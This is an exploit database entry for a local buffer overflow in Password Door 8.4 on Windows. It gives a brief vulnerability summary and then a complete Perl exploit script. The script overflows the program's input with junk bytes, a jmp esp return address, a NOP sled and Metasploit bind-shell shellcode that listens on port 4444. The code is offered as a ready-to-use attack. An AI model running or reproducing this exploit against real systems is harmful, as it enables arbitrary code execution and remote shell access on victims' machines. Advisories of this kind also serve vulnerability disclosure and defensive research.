Password Door Local Buffer Overflow

vendor:

Password Door

by:

b3hz4d

7.5

CVSS

HIGH

Local Buffer Overflow

119

CWE

Product Name: Password Door

Affected Version From: 8.4

Affected Version To:

Patch Exists: NO

Related CWE:

CPE: a:toplang:password_door:8.4

Metasploit:

Other Scripts:

Platforms Tested: Windows

Password Door Local Buffer Overflow

The Password Door application is prone to a local buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Mitigation:

Update to a non-vulnerable version of the application or apply vendor-provided patches.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/33634/info

Password Door is prone to a local buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Password Door 8.4 is vulnerable; other versions may also be affected.

#!usr/bin/perl
#
#--------------APA Center of Yazd University----------------------------------
#                   http://www.ircert.ir
#
# Author : b3hz4d (Seyed Behzad Shaghasemi)
# SITE   : WWW.DeltaHacking.Net
# Password Door 8.4 Local Buffer Overflow Exploit
# Tested in Windows Pro Sp2 (English)
# Product web page: http://www.toplang.com/passworddoor.htm
# Gr33tz to : Str0ke, Dr.Trojan, Cru3l.b0y, PLATEN, Snake, l0pht & all iranian hackers
#-----------------------------------------------------------------------------

$junk = "A"x 601;
$ret  = "\xb3\x8d\x95\x7c";     # jmp esp from ntdll.dll
$nop  = "\x90"x 100;
# win32_bind - LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com
$shellcode = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85".
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19".
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05".
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0".
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74".
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15".
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14".
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53".
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce".
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf".
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb".
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18".
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6".
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16".
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f".
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c".
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18".
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f".
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8".
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e".
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f".
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27".
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2".
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a".
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

$exploit = $junk.$ret.$nop.$shellcode;
system("PassDoor.exe",$exploit);